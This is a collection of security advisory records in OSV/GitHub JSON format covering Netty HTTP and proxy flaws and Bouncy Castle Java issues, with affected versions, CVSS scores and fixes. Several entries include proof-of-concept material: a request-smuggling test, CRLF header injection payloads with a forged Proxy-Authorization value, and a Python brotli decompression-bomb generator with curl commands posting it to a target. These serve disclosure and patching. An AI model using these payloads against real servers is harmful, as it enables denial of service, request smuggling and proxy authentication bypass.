{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.132.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.2.10.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.11.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:49:21Z",
    "nvd_published_at": "2026-03-27T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.\n\n### Details\nThe vulnerability exists in Netty\u0027s `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames.\n\nThe key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit.\n\nAny user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 \u003c currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.\n\n`codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`\n\n**`verifyContinuationFrame()` (lines 381-393)** \u2014 No frame count check:\n```java\nprivate void verifyContinuationFrame() throws Http2Exception {\n    verifyAssociatedWithAStream();\n    if (headersContinuation == null) {\n        throw connectionError(PROTOCOL_ERROR, \"...\");\n    }\n    if (streamId != headersContinuation.getStreamId()) {\n        throw connectionError(PROTOCOL_ERROR, \"...\");\n    }\n    // NO frame count limit!\n}\n```\n\n**`HeadersBlockBuilder.addFragment()` (lines 695-723)** \u2014 Byte limit bypassed by 0-byte frames:\n```java\n// Line 710-711: This check NEVER fires when len=0\nif (headersDecoder.configuration().maxHeaderListSizeGoAway() - len \u003c\n        headerBlock.readableBytes()) {\n    headerSizeExceeded();  // 10240 - 0 \u003c 1 =\u003e FALSE always\n}\n```\n\nWhen `len=0`: `maxGoAway - 0 \u003c readableBytes` \u2192 `10240 \u003c 1` \u2192 FALSE. The byte limit is never triggered.\n\n### Impact\nThis is a CPU-based Denial of Service (DoS). Any service using Netty\u0027s default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.",
  "id": "GHSA-w9fj-cfpg-grvv",
  "modified": "2026-03-27T21:48:53Z",
  "published": "2026-03-26T18:49:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:13:05Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty\u0027s chunk size parser silently overflows int, enabling request smuggling attacks.\n\n### Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult += digit;\n\nThe result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.\n\n```java\n@Test\npublic void test() {\n    String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n            \"100000004\\r\\n\" +\n            \"test\\r\\n\" +\n            \"0\\r\\n\" +\n            \"\\r\\n\" +\n            \"GET /smuggled HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Content-Length: 0\\r\\n\" +\n            \"\\r\\n\";\n\n    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n    // Request 1\n    HttpRequest request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    HttpContent content = channel.readInbound();\n    assertTrue(content.decoderResult().isSuccess());\n    assertEquals(\"test\", content.content().toString(CharsetUtil.US_ASCII));\n    content.release();\n    LastHttpContent last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n\n    // Request 2\n    request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-m4cv-j2px-7723",
  "modified": "2026-05-14T20:41:01Z",
  "published": "2026-05-07T00:13:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-0636"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T01:06:02Z",
    "nvd_published_at": "2026-04-15T10:16:38Z",
    "severity": "MODERATE"
  },
  "details": "Improper neutralization of special elements used in an LDAP query (\u0027LDAP injection\u0027) vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper.\n\nThis issue affects BC-JAVA: from 1.74 before 1.84.",
  "id": "GHSA-c3fc-8qff-9hwx",
  "modified": "2026-04-18T01:06:02Z",
  "published": "2026-04-17T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0636"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/d20cdb8430e09224114fec0179a71859929fcbde"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%900636"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle has an LDAP injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk15on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-debug-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-debug-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpkix-debug-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.49"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-5588"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-327"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:32:20Z",
    "nvd_published_at": "2026-04-15T10:16:49Z",
    "severity": "MODERATE"
  },
  "details": ": Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules).\n\n\nPKIX draft CompositeVerifier accepts empty signature sequence as valid.\n\n\nThis issue affects BC-JAVA: from 1.49 before 1.84.",
  "id": "GHSA-wg6q-6289-32hp",
  "modified": "2026-04-16T21:32:20Z",
  "published": "2026-04-15T18:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5588"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/656bae0dbd9b1521f840521ff786e78749fe3057"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%905588"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/U:Green",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle Crypto Package For Java: Use of a Broken or Risky Cryptographic Algorithm vulnerability in bcpkix modules"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:11:40Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "LOW"
  },
  "details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization != null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n    }\n\n    if (outboundHeaders != null) {\n        req.headers().add(outboundHeaders);  // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4=    \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n        // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n            .withValidation(false);\n\n        FullHttpRequest req = new DefaultFullHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n            \"target.com:443\",\n            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n        req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n        // Inject CRLF in header value\n        String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n        req.headers().set(\"X-Forwarded-For\", malicious);\n\n        // Encode to wire format\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n        ch.writeOutbound(req);\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n        System.out.println(\"VULNERABLE: \" +\n            (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n  Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n  Header accepted: YES (validation disabled!)\n  Wire format:\n    CONNECT target.com:443 HTTP/1.1\\r\n    host: target.com:443\\r\n    X-Forwarded-For: 1.2.3.4\\r\n    X-Forwarded-For: 127.0.0.1\\r          \u003c-- INJECTED\n    X-Admin: true\\r                        \u003c-- INJECTED\n    \\r\n\n  Injected X-Admin header in wire: true\n  VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n  With validation=true:\n    SAFE: Rejected - IllegalArgumentException\n  With validation=false:\n    VULNERABLE: Accepted CRLF in header value!\n    Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n    for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n        HttpUtil.validateHeaderValue(entry.getValue());\n    }\n    req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
  "id": "GHSA-45q3-82m4-75jr",
  "modified": "2026-05-14T20:40:54Z",
  "published": "2026-05-07T00:11:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:46:35Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 \u2014 maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// HttpContentDecompressor.java:129 \u2014 maxAllocation IGNORED\n.handlers(new SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 \u2014 maxAllocation IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no `maxAllocation` parameter at all \u2014 there is no way to constrain its output. It streams decompressed data in chunks via `fireChannelRead` with no total limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this only constrains individual buffer allocations, not total output. The decode loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with decompression bomb protection:\n\n```java\npipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new HttpObjectAggregator(1048576));     // 1MB max\n```\n\n2. Generate a brotli-compressed bomb (~1KB compressed \u2192 1GB decompressed):\n\n```python\nimport brotli\nbomb = b\u0027\\x00\u0027 * (1024 * 1024 * 1024)  # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith open(\u0027bomb.br\u0027, \u0027wb\u0027) as f:\n    f.write(compressed)\n# compressed size: ~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):\n\n```bash\n# This is caught \u2014 ZlibDecoder enforces the 1MB limit\ncurl -X POST http://target:8080/api \\\n  -H \u0027Content-Encoding: gzip\u0027 \\\n  --data-binary @bomb.gz\n# Result: DecompressionException thrown at 1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):\n\n```bash\n# This bypasses the limit \u2014 BrotliDecoder has no maxAllocation\ncurl -X POST http://target:8080/api \\\n  -H \u0027Content-Encoding: br\u0027 \\\n  --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory \u2192 OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and `Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An attacker can cause out-of-memory conditions on any Netty server that relies on `maxAllocation` for decompression bomb protection, by simply using a non-gzip content encoding.\n- **False sense of security**: Developers who explicitly configure `maxAllocation` to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered.\n- **Trivial bypass**: The attacker only needs to change one HTTP header (`Content-Encoding: br` instead of `Content-Encoding: gzip`) to circumvent the protection entirely.\n- **Both HTTP/1.1 and HTTP/2**: The vulnerability exists in both `HttpContentDecompressor` (HTTP/1.1) and `DelegatingDecompressorFrameListener` (HTTP/2).\n\n## Recommended Fix\n\nPass `maxAllocation` to all decoder constructors. For `BrotliDecoder`, which currently has no `maxAllocation` support, add the parameter:\n\n**HttpContentDecompressor.java** \u2014 pass maxAllocation to all decoders:\n\n```java\n// Line 120: BrotliDecoder \u2014 add maxAllocation 